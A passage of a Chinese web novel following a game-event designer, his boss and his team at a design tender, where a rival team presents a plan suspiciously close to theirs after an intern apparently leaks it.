因为他珍惜Execut2,所以相处起来总是小心一些,捧着一点,怕碎了怕化了的样子。但季闻则嘛……是他非要留下自己,当然是怎么舒服怎么来。 他又又又是那句话——有本事给我n+1。 走神的功夫,Execut2已经又发来了新的消息。 【Execut2:但这事你还是自己多留神】 【Execut2:别以为什么人都是好人】 郁思白先是顿了顿,然后眼睛一弯,心里涌起暖流。 【知道啦卡神,谢谢卡神~】 【但我没有觉得谁都是好人啊!】 【Execut2:嗯,你老板不是】 郁思白摸了摸鼻尖,琢磨两秒还是打字。 【那他也没有完全不是……我说我那个新老板。】 【唉上次辞职的事错怪他了,以为他是故意的,没想到是真的脑子突然缺根弦。真神奇,他看着很精明一个人……相处下来好像又不是这样的。】 【算了不说这个了,卡神你肯定也不感兴趣。】 他转而又和Execut2聊起前两天解说比赛的趣事,TYU,就是Execut2在EMEA赛区最后的东家队伍,昨晚正式输掉了最后一场比赛,回家了。 对Execut2来说当然算得上趣事——因为此人在国外三年换四个队伍,每个队伍都是不欢而散,不仅和管理层不欢而散,还每次一走就拖一堆人。 总有选手或者教练组成员,会在Execut2离队的时候,也跟着他一起离队。就好像这人给他们下了毒药,每个月都要去他面前领解药一样。 国外有不少人称之为神秘的东方力量,还有人说Execut2这人就喜欢带伴手礼走,只不过这伴手礼有点贵,还是大活人。 TYU更是其中最惨的一个,冠军班底主要有九个人,五个首发选手,一个替补,一个主教练,两个副教练分析师。Execut2走后,有两个首发转会到同赛区其他队伍,副教练离队,还有一个选手,ketya,带着分析师直接横渡大洋,跟着Execut2一块来了cn赛区。 九个人,过了个休赛期只剩仨了,TYU从此一蹶不振,管理层跑路,到近两年新投资人接手才慢慢好起来,今年再次进入世界赛。 两人愉快地聊了好一会儿,郁思白才结束话题准备睡觉——其实并非他要睡觉,而是看时间差不多了,也不好再拉着卡神说话,怕打扰人家。 和Execut2互道晚安后,郁思白在被窝里烙饼似的给自己翻了个面儿,换了个姿势,点开季闻则的微信聊天框。 他下班开车的时候,季闻则那辆车还在附近停着,想来是还没下班。本来应该开电脑在公司内部软件里聊的,但床上实在舒服,郁思白半点挪窝的劲都提不起来了。 【季老板,我准备从二组要个人】 空旷又安静的1702里,季闻则半边耳朵上挂着蓝牙耳机,只分出一半注意力去听电话会议对面又臭又长的演讲,刚放下生活手机,工作手机又嗡嗡震动起来。 看到来消息的人,季闻则不由得失笑。 这就是某人刚刚说的,“困得下一秒倒头就睡”? 这是到自己这儿说梦话来了。 不过他这会儿不找自己,季闻则第二天也得去找他。 郁思白说的这个人他没印象,不论是主播身份、还是现实里的实习生身份,他都没印象,但杨总助动作够快,刚才已经给他发来消息。 这个实习生的笔试成绩并不突出,面试的时候,是钱翀提议要把人留在自己组里的。很明显了,是个关系户。 季闻则本人对关系户没什么恶感,在他看来,只要能力足够,那就是英雄不问出处,这些细枝末节的事他不在意。 但扯到钱翀,这事就很微妙了。 【郁思白:我是这么考虑的,毕竟是游戏相关的项目,现在组里只有我和小穆两个了解深的,还是有点不够,我得盯图,小穆一个人去处理强游戏相关的部分,还是吃力。我想着给他找个帮手。】 季闻则直接把杨孟越的消息转发给他。 郁思白那边想了一会儿,说。 【谢谢季老板提醒,我知道了。】 【不过你动作好快啊季老板?你怎么知道我看上他了,能掐会算吗。】 季闻则视线顿了一下,一颗心还没来得及提起来,就看见对面又紧接着蹦出一句。 【算了,如果是你的话也正常。】 虽然警报解除,但季闻则目光里却多了点复杂。 ……正常吗? 他无声叹了口气。 他们郁组长能这么逻辑自洽……也不知道是好是坏- 时间转眼就到了招标会当天,上午十点开始,分上午下午两场。 郁思白他们是上午场,因此一大早,一组众人就在办公室整装待发,像一帮要去春游的小孩。 “……你们都要去?”郁思白有些为难。这种事儿按理说只带三五个人去就够了的。 高向日笑:“这不是等组长你点人嘛。反正今天也有别的外勤要出,选上的跟你走,没选上的跟江勘走。” 一旁,江勘叹了口气:“我去不成,我背负。”他是另一个外勤项目的主设,在场最不可能去的就是他。 “向日、天骄、小穆……胡啸呢?”郁思白忽然问。 胡啸,二组自荐来的、那位id是tigerrr的实习生。 那天跟季闻则聊过之后,郁思白还是让他来了,不是直接调到一组,只是借,随时可以还回去的那种。 胡啸对此也完全没有什么意见,本人也很热情愉快地接受了。 郁思白提醒他,在嘉年华正式开幕之前,不要在直播里提及自己在争取相关项目的事。胡啸也点头表示自己知道轻重。 原本,郁思白还想问他,你那个Execut2的展台申请做的怎么样了,但最后还是忍住了没问。毕竟对郁组长来说,知道这种事,就很令人意外了。 来了一组之后,郁思白让他辅助小穆,工作做的也确实可圈可点。 这人完全没有想着要遮掩自己的主播马甲,和大家见面的第一天,就坦言自己是J站游戏区主播,叫tigerrr,也是因为这个才能被郁思白看中,要来一组。 话被他这么一说,好像就变成了郁思白得知他身份,主动邀请的一样。 他大约原本是想得到这样的效果,奈何一组众人,哪个不是郁思白亲自挖来找来的?人家对他是怎么来的,一点都不关心。 胡啸不知道这些,只觉得自己不大能融入进来,于是平时也就更多和小穆待在一起。听说小穆周末还被他带着直播上了分,周一再来,就和他完全哥俩好了。 于是此时郁思白刚一叫人,小穆就立刻站起来开始找好兄弟:“虎哥,组长叫!” 令人意外的是,胡啸竟然没在人群里,反而坐在自己工位上,像是压根没打算争取一样,这会儿被点到名,站起来的动作都有几分犹豫,和平时有点过度热情的样子大相径庭。 郁思白道:“你也一起去。” 胡啸愣了一下,连忙扯开一个笑容,摆手拒绝:“我就不去了吧,我一个实习生,去了不是添麻烦吗。” “你平时也不省心啊,总这儿钻钻那儿看看的。”高向日没心没肺地笑,“让你去你就去,组长叫你肯定有他的理由,是吧组长。” 胡啸似乎还想推辞,但郁思白一转眼已经点完所有的人,看了下表,宣布五分钟后整点出发,然后扭头去祝福另一队出外勤的同事了,胡啸想上前,都插不进空。 小穆凑过去问:“你咋了虎哥,今天过去说不定还能薅到一些周边呢!诶,上次我给你看的周边,就是组长跟季总去开放日的时候带回来的……组长把他那份给我了,组长真好呜呜。” 胡啸随便应声附和着,有点心不在焉。 点好人,众人准备出发。郁思白回头又检查了一遍自己的背包,确定没有遗漏什么该带的东西,却总还是觉得自己忘了什么。 郁思白身后浩浩荡荡跟着一组的一帮人往外走,刚拐过弯,就看见等在电梯间的季闻则。 ……喔! 郁思白头顶冒出一只闪亮的灯泡。 想起来是忘记什么了……原来是忘记问这位要不要去。 一想到这茬,郁思白再抬头去看季闻则的时候,目光不由得有点心虚。 季闻则日常向来都是衬衫打底,外面披各种款式的西装或风衣,不常打领带,今天却格外正式地打了一条,深灰色,很提气场。 “季总好。”高向日带着头,其余几人也都陆陆续续打了招呼。 最后一个打完招呼的小穆,初生牛犊不怕虎,顺口就问。 “季总您跟我们一起去吗?” “本来是该去的……”季闻则开口,才说了一半,忽然就想到先前在渝市的时候,郁思白开玩笑说他回答问题有公式,下意识顿了顿,失笑,接着道。 “今天确实有重要的会议要开……郁组长?” 郁思白闻声抬头,没说话,给了一个疑惑的眼神。 季闻则看了他两秒,确认他没什么情绪,才道:“我让杨孟越陪你们去,有事她会联系我,你只管上台的事,其余有她。” 郁思白笑了下,因为还在公司里,所以嘴角的弧度下意识很淡,乍一看像个冷笑,但季闻则知道不是。 因为这人真的生气的时候,是连冷笑都欠奉的。 “季总……季老板。”郁思白说,“多的就不说了,等拿下项目,我们肯定好好谢你。” 季闻则轻笑:“不用代表他们,代表你自己就行。” 高向日却说:“没事儿啊,组长可以代表我们的,我们不介意!” 杨孟越站在季闻则背后,抿了下唇,闭眼吸了口气。 这老高……该嘴甜的时候是个笨嘴拙舌的,不该说场面话的时候,怎么一串又一串的。什么毛病? “你特意来送我们?”郁思白问。 季闻则说:“我也正好下楼,车在等了。也是巧,才正好能撞到你们。” 他说他的,郁思白可完全不信,微微挑起半边眉毛,却也没戳穿他。 轿厢门打开,正好是部空空荡荡的电梯,一行人鱼贯而入,杨孟越最后一个进来,按键关门。 电梯里站得挤挤挨挨,郁思白斜看向天花板发呆,忽然想到什么,微微偏头往季闻则那边看过去,正想开口,迟疑两秒,却又闭上嘴。 季闻则对上他的视线,侧过头来,意识到他想说什么又不好直接开口,于是抬手,举起手机不经意地晃了晃。 郁思白眼睛一亮,也很小幅度地点了下头,往电梯角落后退了半步,靠住轿厢壁,从兜里拿出手机,找到微信里季闻则的头像,打字。 【也没什么事,就是突然想起来,这是不是你第一次跟这么多同事一起坐电梯啊?】 【之前好几次他们看到你在电梯里面,都立马不往进走了。大笑.jpg】 他噼里啪啦打字很快,唰唰两条消息发出去,结果收获了消息框前面转个不停的两只加载圆圈。 没忍住,郁思白额角跳了两下,抬头看向季闻则。 电梯里没网! 他用目光质问提出这个馊主意的罪魁祸首。 季闻则无声笑了声,伸出左手往他这边递过来,借着其他人背影的遮挡,食指中指轻轻勾了勾。 手机给我? 郁思白扭头看了眼电梯楼层,眼看离一楼也不差几层了,便攥紧手机,摇头,收回视线。 密闭的环境里,不知道是不是老板在场的原因,谁都没有开口,就连往常叽叽喳喳的高向日,此刻也只是站在郁思白前面,安安静…… 嗯??? 郁思白目光忽然在前面偷偷交握的两只手上顿住。 刚刚他为了玩手机,往后扯了半步,前面便让开了一点空间,现在收了手机,这片地方的视线便再无遮挡。 ——高向日!和杨孟越! 在牵手! 确切来说,是高向日站在杨总助身边,想去扯老婆的手,但不断被老婆打到一边。 郁思白睁大眼睛,莫名有点兴奋,深深提起一口气,双手攥紧,在原地极小幅度地挥了两下。 哇! 他周围全都是一帮单身狗。实话说,这还是郁思白第一次看到认识的人谈恋爱……如果扯了证也还算谈恋爱的话。 郁思白又想看,又觉得不好意思一直看。想找个人分享吧……但旁边站着的是季闻则,不管怎么说,也至少算个领导上司,跟他说这事也不合适。 不过这两位看起来感情真好啊……两个人事业都红红火火不说,向日是个顾家的好丈夫好爸爸,杨姐对小孩的关注也一点都不少。 他们家的小孩肯定会很幸福吧。郁思白忍不住想,垂下视线,又默然叹了口气。 但郁思白小朋友,就没有这么好的运气了。他在心里遗憾摇头。 电梯终于叮的一声到了负一楼。 郁思白正走神,虽然感受到电梯停下的失重感,但一时间忘了抬脚。 垂在身侧的手忽然不轻不重地被碰了两下,郁思白一低头,看见季闻则指尖轻拍了两下自己的掌心,提醒他走了。 他这才恍然回神。 门一开,打头的几人一个个蹦出去,杨孟越便侧身站到门边按着开门键,等季闻则走出去,才和郁思白前后脚离开。 众人又七嘴八舌地跟季总道别,郁思白也随着大流,说了句“回见”。 季闻则莞尔,祝他旗开得胜。 一组参加招标会的一行人分成两辆车,一辆由高向日开,一辆由武天骄开。郁思白的车今天正好限号。 不过即使不限号,众人也不会劳烦他来开车就是了。 “组长,你和杨总助坐我的车吧?”武天骄说,“让他们臭男人坐一辆去。” 郁思白:? 他还没来得及说话,小穆先呆呆道:“天骄姐,组长也是男的。” 杨孟越温婉笑了一下:“有没有可能,重点不在后面两个字呢?” “啊……臭?”小穆挠了挠后脑勺,疑惑道,“不应该啊,我今天可是喷了女朋友送的香水……怎么会臭!” “喷太多了,傻子。”武天骄不忍直视,又忍不住笑,“上午全办公室都是你的味儿……去去,发配你去熏熏那两个吧。” “组长!来我们男生车!”小穆喊。 武天骄笑:“你组长最懒得应付的事儿就是合群,自己过去吧,乖啊。” 郁思白也没反驳,推了下眼镜,就在欢声笑语里,顺从地上了武天骄的车,他坐后座,两位女士坐正副驾。 车门一关,武天骄脸上和粉毛一样活泼的笑容立刻敛了,透过后视镜看了眼后面胡啸坐的车,没回头,对郁思白说。 “组长,你让我留意查的东西,我都整理好了。”她说着,皱了皱眉问,“证据确凿,还带着他去干嘛?” 郁思白垂着眼睛,从包里摸出眼镜布擦着眼镜,半晌才开口。 “唔,季闻……季总的建议。” 车子驶出地库,初夏热烈起来的阳光泼洒进车里,映出被擦拭得一尘不染的镜片。 郁思白把眼镜举起来,放在眼前看向窗外,仿佛透过它,就能看清所有的魑魅魍魉和人心险恶。 手机震动两下,郁思白戴好眼镜解锁,是季闻则的消息,他先回复了郁思白电梯里没有营养的聊天。 【在总部经常有,但来这边以后,是第一次】 【都是郁组长带的好】 郁思白打字。 【今天胡啸倒是不积极了,我硬叫来的】 【季闻则:郁组长带实习生见世面,郁组长好】 【季闻则:撒花.jpg】 郁思白忽然抿唇轻笑了一声,低低道:“他这人也真损。” 不过,我也还蛮期待的。 笑过之后,郁思白看着这个撒花表情,忽然疑惑了一下。 这不是他自己画的卡兔表情包吗……他好像,没发给过季闻则吧? 这种小事,郁思白向来说问就问。 【你这个表情包,哪来的啊?】—— 作者有话说:小郁:[问号] [猫爪] 第37章 季闻则那边还没回复, 郁思白脑子一转,就了然问。 【喔,是不是你从别人那存的啊】 【可爱吧, 我画的】 对面,季闻则沉默了一会儿, 表示了认可。 这话说得郁思白心情不错, 手一挥,刷刷刷地把全套都发了过去。 【存吧!齐的。】 【季闻则:……谢谢。】 【季闻则:我这边忙完就去,不用给我留位置】 郁思白惊讶。 【啊,你还要扮助理站着吗?】 【不合适吧】 【季闻则:卡兔拒绝.jpg】- 一行人到了地方,才发现他们已经算来得晚了。 藤竞十分财大气粗,再加上对嘉年华看重, 就连一个招标会的场面,也搞得不小。会议地点够高级不说, 来来往往的, 甚至还有业内顶级的设计师大佬。 小穆看见,心里不由得有些发怵, 就连迈进去的步子都小了很多。 高向日推了他一把:“咋了?” 小穆哭丧着脸说:“组长也没说,跟我们竞争的都是这些人啊……这位、还有这位,都是我在教科书上看到的人,不是, 咱们怎么和他们打啊。” 他这么说, 高向日也没法安慰什么, 挠了挠头,却听旁边的胡啸忽然开口。 “他们应该只是来走个过场吧。” “啊?”小穆疑惑,好奇问,“虎哥, 你怎么知道。” 胡啸和平时一样笑了一下,只是那脸上的笑容总有点生硬。 “嗯……猜的,我猜的。” 糊弄过去之后,他在心里暗骂自己管不住嘴。 向来大大咧咧的人,今天忽然局促起来,高向日皱眉看向胡啸,问:“小胡今天咋不舒服?人蔫蔫的。” 胡啸陪着笑脸,只说是没想到今天会带他一起来,所以昨晚直播熬的太晚,精神不济。 小穆羡慕道:“好羡慕虎哥……虎哥你直播那么赚钱,还来上班干什么啊?唔,虽然一组真的很好,但二组好像……不是这样?” “二组……唉,混日子吧,有机会肯定要跳槽的。”胡啸含混结束了这个话题,心里还是有些惴惴不安,眼珠一转,忍不住直问。 “高哥,我这一个项目组边角料……组长为什么要带我来啊?” 高向日朗笑了声:“小穆都带上了,你和小穆不一样都是实习生吗?哪儿还能厚此薄彼了。” 他这么一解释,胡啸也觉得有理,提了一路的心终于放了下来。 “郁组长真是好人。”他说。 三人随口聊了几句,等另一辆车上的郁思白一行回合,六个人一起找到位置落座。 场子很大,每个团队都各占一条长桌,桌上放着写有团队名字的铭牌。 【没想好独立设计团队】 众人对视一眼,最后齐刷刷看向郁思白。 郁思白目光凝了凝,也默不作声地移开视线。 这……这事儿说来,也是他不好。 项目进度都过半了,他们组里还是没讨论出一个全票通过的名字,于是申请表那边,郁思白一直随手打了【没想好】三个字上去。 结果最后往上交的时候,大家都只顾着确认图了,名字压根没人注意。 等确认报名的邮件发回郁思白邮箱,看到上面的【没想好独立设计团队】时,郁思白眼前一黑,群发给一组,向日葵齐刷刷倒了一片,像被收割过瓜子的向日葵田。 但幸好,一组众也不是什么正经人,高向日带头,很快就接受了这个设定。 够显眼,够震撼!普通人来了都能过目不忘。 当然,也方便了他们找位置。 他们的位置在最后一排靠过道的方位,好巧不巧,一过道之隔就是邓工的团队。 胡啸不着痕迹地低了低头,坐到了离过道最远的位置。 没人对他的选座有什么疑惑,毕竟他确实也不需要坐在外侧好发言。 一组众人鱼贯而入。 “这谁排的座位……”高向日瞥了眼隔壁,不由得嘟囔,“真晦气。” 众人顺着他的视线看过去,在邓工团队里,赫然发现了许久不见的卢近仁。 自从被郁思白当众改图、闹了个大没脸之后,卢近仁就悄无声息地在公司消失了,都知道他去投奔粤市的师兄,但没想到这会儿还会见到。 卢近仁也瞥了他们一眼,没有半点要打招呼的一声,目光里也没什么善意。 武天骄道:“按照发言顺序排的吧。”她说着,拿起手里的排号晃了晃,“咱们在邓工团队的后面。” 高向日一看,掐指算了算,嚯了一声:“咱是上午场的压轴啊。” 忽然,几人觉得旁边有什么东西一闪,纷纷扭头,就看见一颗在灯光下油光瓦亮的脑门。 “郁设!好久不见啊!” 年纪轻轻就地中海了的于设拉了张凳子,就坐到了郁思白面前。 “于设。”郁思白点了下头,努力片刻,还是没想起他的名字。 地中海于设一咧嘴,热情又大方地跟其他几个一组的人打了一遍招呼,目光在胡啸和杨孟越身上顿了顿,好奇问:“这两位是生面孔。” 杨孟越笑了一下,先道:“我姓杨,来配合郁老师工作。” 胡啸也自我介绍说:“您好,我是郁老师从二组借来的。” 于设便多看了他两眼,点头道:“那想必你有什么过人之处。” “哪里哪里,您谬赞了……”胡啸连连摆手,还想说什么,于设已经移开了视线。 显然,刚刚也只是看在郁思白的面子上,才跟他搭两句话。 “郁设,我还以为他们不来了呢。”地中海于设目光往邓工那边瞥了一下,跟郁思白随口吐槽。原本也没指望着郁思白接话,毕竟这人也是出了名的难聊,没想到没过两秒,郁思白开口。 “他们会来的。邓工团队最近有些危机,必须要借这个项目拓宽市场。” 于设先是愣了一下,抬手揉揉眼睛,啧了声,刮目相看道:“诶我去郁设,你啥时候都知道这些了?背着我偷偷进步啊你!” 郁思白挑起半边嘴角意思意思,心想,其实都是季闻则给他填鸭的。 季闻则之前跟他说,这个项目虽然还请了两个业内知名团队,但人家对此意向不高,双方也都是走个过场,算下来,只有邓工团队是郁思白他们的主要竞争对手。 邓工团队有拿这个项目的必要性,而且,比郁思白等人更为急迫。 郁思白那时候想,怪不得手段无所不用其极了。 但季闻则紧接着告诉他,也没什么好担心的。让他只花心思做他的设计就行,其余事情不用操心。 郁思白自然乐得应下。 于设感叹完,目光在他身边转了一圈儿,忽然问:“诶,你那个……助理,今天没来啊?” “助理?”高向日整理好材料后闲下来,便凑过来插话,“什么助理?我们组长没有助理啊……有助理也应该是我来,谁敢抢我位置——诶呦!” 啪的一声,高向日后背被打了一巴掌。杨孟越收手,不甚赞同道:“能不能别什么都要来一口。” 高向日一米九几的大高个顿时泫然欲泣。 郁思白推了下眼镜,淡淡解释:“是有,上次来的时候,临时雇了个助理。” “啊?那人呢。”高向日顾不得装委屈了,追问。 郁思白:“姓季,叫季闻则。” 高向日:…… 他立刻举起双手缩回自己的座位:“那是我高攀了。” 于设摸着下巴,正看他们看得开心,少了个搭话的人,才想起自己此行来的目的。 他手重重一拍大腿,恍然:“对了,我过来是想问你一个事儿来着。” 郁思白:“你说。” 于设:“纯是我个人好奇哈。你上次在开放日,把自己的设计方向说的那么仔细,是还留了什么后手,有新想法?” 郁思白摇头:“没有,单纯想到就说了而已。” “唉,你啊!我就知道你心里没这沟壑。”于设眉毛一皱,反光的脑门好像都黯淡了,再开口,忍不住替他着急,“你这一说出来,思路可就不只是你一家能用的了!” 郁思白抬头看他,一时间没说话,似乎真的陷入思考。 于设重重叹气,还没等他再开口,一个藏蓝色西装的青年左顾右盼着找了过来,伸头看了眼郁思白他们桌前的团队名字标志,神情有一瞬间的呆滞。 “诶?李勐?”于设显然也认识来人,倒不如说,在场就没有他于交际花不认识的人。 他招呼道,“你也来找郁设聊天?” 藏蓝色西装的李勐回过神来,脸上带着笑上前,和于设随意打了个招呼后,就看向郁思白。 于设替他介绍:“这是梦星河设计工作室的李勐,李老师。” 郁思白察觉到他有话要说,抬头:“你好。” 李勐笑容更深了,但笑里似乎又带了点歉意,郁思白正疑惑,就听他说。 “郁老师,是这样的……有件事我想了想,还是要跟您知会一下。”李勐说着,又觉得这个自上而下的视角很失礼,弯下腰道,“就是,我们的方案借鉴了你之前在开放日说的思路。” 他声音没有刻意压低,附近也不算吵闹,一开口,周围人不由得都竖起耳朵。 李勐显然也感觉到骤然变得安静的众人,声音顿了一下,表情有些复杂,只觉得耳朵燥红,但还是硬撑着又解释了一句。 “实在是几番对比之下,还是觉得跟着郁老师这个思路走很好……郁老师,如果你介意的话,我们……” “没关系。”郁思白开口,语气平淡。 “我们是竞争关系,但共同的目的是希望嘉年华办好。如果大家觉得我的思路好,尽可以以这个为框架去做。” 李勐的眼神骤然就明亮起来了。 来之前,团队的人都劝他这事儿不用声张,开放日在场的人不少,负责人的态度也摆得明明白白,谁都不会和项目、和钱过不去,用郁思白思路的肯定不止他们一家。 但思来想去,李勐还是觉得坐不住,硬是挣开下属的拉扯,莽莽撞撞地过来了。 来的路上,李勐已经想过了最差的可能性,如果郁老师介意、甚至提出让他们退出参选怎么办? 李勐不知道,但他想,这也是他必须承担的后果。 再说了,反正他不缺钱,要是真的让团队努力打了水漂,他撒钱安抚员工还不行吗。 但郁老师竟然……说没关系? 虽然借鉴了郁思白的思路,但方案本身还是李勐和团队一点点搭建起来的,像自己的孩子一样,怎么可能不希望它能好好参选? “谢谢郁老师……谢谢郁老师!”李勐连声道,说到最后几个字,甚至激动得带了点哭腔。 郁思白道:“这就是开放日的目的,思路共享,很正常。” 李勐猛地弯腰鞠了个躬,告辞离开的时候,还抬手在眼眶蹭了一下。 于设睁大眼睛,张着嘴,饶是舌灿莲花如他,这会儿也一句话都说不出来了。 他一万句话在嗓子眼儿前堵了许久,最后才挤出一句。 “你……男菩萨啊。” 郁思白:? “切,装模作样。” 忽然,有一个声音不大不小地响起。 于设顿时眉眼一厉,隔着厚厚的酒瓶底,循声看向过道对面邓工团队的两个人,很眼熟,于设想起这两个是开放日见过的、邓工的学生。 学生旁边,卢近仁目光都没往这边扫一眼,随手拉了他一把,低声好笑道:“不然他还能怎么样呢?让人家不许用他的思路,从这儿滚出去?呵,他也没这资格。” 于设向来脾气爆,冷嗤一声:“我看李勐坦坦荡荡,不像某些人——” 郁思白用胳膊轻轻撞了一下于设:“别管。” 于设翻了个白眼,毫不在意,声音都没压低:“早看他们不顺眼了。” “怎么了?”郁思白问了句。上次开放日见到的时候,于设跟邓工团队,好像也不是这么势如水火的啊。 “还能是啥事?工作呗。前段时间一个项目撞上了,他们小手段挺多。”于设冷笑一声,囫囵说了经过,最后忍不住道。 “我那老板也是个怂包蠢货,半点儿要给我们讨场子的意思都没有,回公司还把我们一通骂,活该他干不下去,这破地方赶紧倒闭算了……” 郁思白张了张嘴,也说不出什么安慰的话。 毕竟这话听着真是耳熟……和以前钱远新完全是一个做派啊。 于设自然也很清楚,否则不会跟他说这些,扯着嘴角笑了下:“是不是跟你们钱老抽一个样?天下老板一般黑……对了,你们新换的那个老板,人怎么样?” 说罢,他又靠近了些,低声道:“我知道,上次跟你一块来的那个季助理就是他吧?” “是他。人……”郁思白顿了一下,说,“还不错。” 顿时,于设的酒瓶底后面迸发出锐利的光,一拍大腿。 “就等你这句话了!”他道,“在你这儿拿这么高的评价,肯定妥。等着,哥们晚上回去就收拾简历去投。” “但他应该也待不了很久。”郁思白抿了抿唇说,“他是总部来的,总要回去。” 一句话泼了于设冷水,他顿住,最后颓然叹了口气,摆手道:“那还是再说吧……你呢?要是下个老板又打回解放前,你准备怎么办?” “走一步看一步吧。”郁思白说。 两人一时间无言,眼看就要开场,于设拖着他的凳子坐回自己的位置,唉声叹气。 参选团队依次上台,坐在最后的【没想好独立设计团队】却收到了最多的注目礼。 就连郁思白自己都没有想到,除了李勐以外,有至少一半的团队,沿用的都是自己开放日说的那个思路。 第一个同思路的团队上台的时候,高向日的表情还很凝重,但看过第二、第三个方案的时候,他和其余几人已经完全放松下来了。 “不是我说……确实,还是差点意思。”高向日哥俩好地挎着小穆,安慰道,“咱组长向来都是不打无准备的仗,既然能把思路分享出来,就肯定是能做出更好的东西!” 小穆这才终于镇定下来,深吸一口气,说:“但是师傅,你看见第一个方案打出来的时候也吓得要死。” 高向日:…… 他胳膊一松,把人推到一边去,扭头对杨孟越一扁嘴。 “这倒霉孩子。” 杨孟越:“实话实话,好孩子。” 第五个拿出郁氏思路的是李勐团队,但他们的方案在一众相仿的答卷里,就显得有些平平无奇,即便如此,李勐还是很认真地讲完了全程,掌声稀稀拉拉。 下台之后,他脸上的表情如释重负,特意从郁思白旁边绕过的时候,又扣了扣手指,不太好意思地说。 “郁老师……我简直感觉自己在班门弄斧,哈哈哈。” “我听说过你。”郁思白说,“不是科班出身,能做出这个方案已经很不错了。” 李勐据说家里资产不少,年纪和郁思白差不多,就已经组建了自己的设计团队,实力肯定还是有的——但和已经项目做到手软的庭季郁组长比起来,确实还差着很大一截。李勐自己也很清楚。 因此,收到郁思白这么一句评价,他立刻喜笑颜开,兴奋道:“谢谢郁老师!郁老师一会儿加油!我们都特别期待你的方案。” 郁思白点了下头,最后在李勐的热情盛邀中,和他加上了微信。 打发走李勐后,郁思白侧头,看见桌子最里侧的位置空了,问了句:“胡啸人呢?” “去卫生间了。”高向日随口说,“我看这小子今天也太紧张了。” “诶,你觉得他有问题吗?”武天骄一托下巴问。 高向日呆滞:“问题?他没问我题啊。” 郁思白:…… “一组禁止植物表演。”他说。 武天骄不忍直视地扭头,跟杨孟越对视一眼:“姐姐,聪明女人都喜欢傻的吗。” 杨孟越一推眼镜,闭眼道:“我个人的不良嗜好罢了。” 郁思白轻轻笑了一声。 台上的参选流程推进得很快,转眼就到了邓工团队的前一个。 于设的地中海脑门在聚光灯下亮得惊人,他拿出的东西,也实打实让坐在第一排的官方负责人、甲方投资者们眼前一亮。 于设另辟蹊径,选了另一个略显刁钻的主题,效果拔群。只可惜设计方案整体看来,炫技的成分太重。 其中一个略懂的甲方笑着说:“很带劲的设计,但我觉得,可能有点超过咱们受众的理解范围了。” “知音难遇。”于设露出齐刷刷的两排牙齿。 台下那位甲方顿时哈哈笑起来,道:“我个人倒是很喜欢你这个设计,于设,你看这案子能不能改一改,直接让我用了?” 于设心里也清楚,自己这方案铁定不会入选,眼下还能赚一笔倒是意外之喜了。 他心里开心,但面上仍旧那副神神叨叨的样子,挥手道:“承蒙不弃。” 他一下台,路过的同行都或真或假地道着恭喜。于设扫视一圈,看见郁思白他们桌上空了个坐,索性直接走过去,高向日见他要来,远远的就开始自发顺延座位,好留下这个话痨搭子。 于设在郁思白和高向日中间坐下了,被两人恭喜后,不甚在意道:“我真无所谓,反正设计的时候我画爽了,那就够了。” 紧接着他又好奇:“我这也讲完了,快快,郁设,你们组的方案让我超前点播一下,我是真急着想看标准答案。” 武天骄说:“于老师也太客气了,好奇的话,开场就可以问我们的。” 于设顿时一肃,摆手:“那不合适。开场前都是保密的,我这点情商还是有的。” “保密?”郁思白微微抬了下嘴角,随口,“我们这图,其实也没保密……” 于设闻言有点茫然,但手里已经被武天骄塞了图纸,他刚低头看了一眼:“嚯,你这个……” 话音未落,台上就传来邓工开始介绍的声音。 “诸位好,接下来由我给大家浅讲一下我们团队的方案。” 于设下意识抬头。 邓工团队的ppt首图,是一张渲染的场内效果图。 炫酷、热烈、抓人眼球! 只这一张图摆在这儿,都不用介绍者开口,瞬间就和前面的方案都拉开了差距。 第一排的投资人们有些坐直,有些低语,彼此点头,明显来了兴致。 但于设愣了一下,低头看看手里郁思白他们的方案,又重新抬头确认,头顶几乎要冒出问号来。 这、这……这跟手里郁思白组的图,十分像了九分啊?不够像的那部分,甚至看起来更精致一些。 “****” 身旁传来一声重重的敲击,高向日低骂一句,眉头紧锁,整张脸都充血地红,像极了愤怒表情包。 “有人泄露我们方案!”—— 作者有话说:不用担心,炮灰尽在我们小情侣掌握之中哈。[猫爪]- 对了,最近中秋节猜灯谜活动,今天的谜底任务是空投月石。如果有正好准备完成任务的宝,可以丢一点月石给我吗[可怜]app作者专栏的右上角,宝石标志,点那里可以空投月石。因为平时上传封面和人设卡什么的都要花月石,我的库存已经见底了[可怜]谢谢大家——[撒花] 第38章 “你这图和郁工的也太像了吧!” 一道男声响起, 于设霍然站起来,掌心压着桌面,目光透过厚厚的酒瓶底, 如箭一样扎向台上的邓工和卢近仁。 于设心里很清楚,现在当场肯定是说不清什么偷图的事儿的, 眼下的当务之急, 是赶紧把郁思白组这个【先手】抢下来。 其他人都是组内成员,而于设是上一个宣讲的设计师,全场都知道他是局外人。 没有人比他更方便说话。 于设的眼里压抑着飞溅的火星,袖口却突然被拍了两下,低头,看见郁思白震惊中带着复杂的眼神。 再往旁边一看, 杨孟越不知何时按住了高向日的肩膀,高向日气得像只喷火的牛。这要是没按住, 还真说不准第一个站起来的会是谁呢。 ……等等。 于设忽然又看向郁思白, 这才意识到,他估计是想来拉住自己的。 于设脾气虽爆, 但脑子转的很快,立刻意识到什么,于是眉头一皱,佯装被郁思白强行拉着坐了下来。 可他刚刚那声石破天惊, 早就打断了台上人的发言。 站在演讲台后的是邓工, 卢近仁则在他身后帮着打下手。两人此刻齐刷刷停了动作, 引导着全场回头,看向【没想好独立设计团队】的桌子。 邓工呵呵地笑了两声,四平八稳地开口。 “我们呢,确实和前面几位同行一样, 也都一定程度上参考了郁设计在开放日所分享的思路。但不同的是,我们在此基础上,坐了许多改良、优化和打磨,排除了大部分不合适、不适配的地方。” 他这话说出来,李勐先黑了脸,低声和同行人说:“他怎么说话的?谁还不是在郁老师思路上增补的啊?说的好像就他们一家一样。” 他没敢大声说,但另一个声音响起。 邓工团队的桌子后,学生模样的男生愤怒道:“图纸太像这种帽子,你们也能随便乱扣?” 他旁边的同门更是直接起身,看向三四米之隔的郁思白等人,语气里尽是对老师的维护。 “你们只是提出一个概念而已,细化落地都是我老师一点点改出来的,前面那几位你们不说,偏只说我们?” 台上,邓工不甚明显地挑了下嘴角,没有开口阻拦自己的学生,也没有要控制场面的意思。 说过话的两个学生推了推一言不发的那个,用目光示意他也赶紧说一句,可还没等那个男生开口,三人只感觉一道冷冰冰的视线扎在后颈上。 “这里是宣讲会,不是菜市场。大喊大叫像什么样子,你们老师怎么教的?” 郁思白侧头,目光从眼角睥出来,声音不算大,但如同寒风往脸上扇。 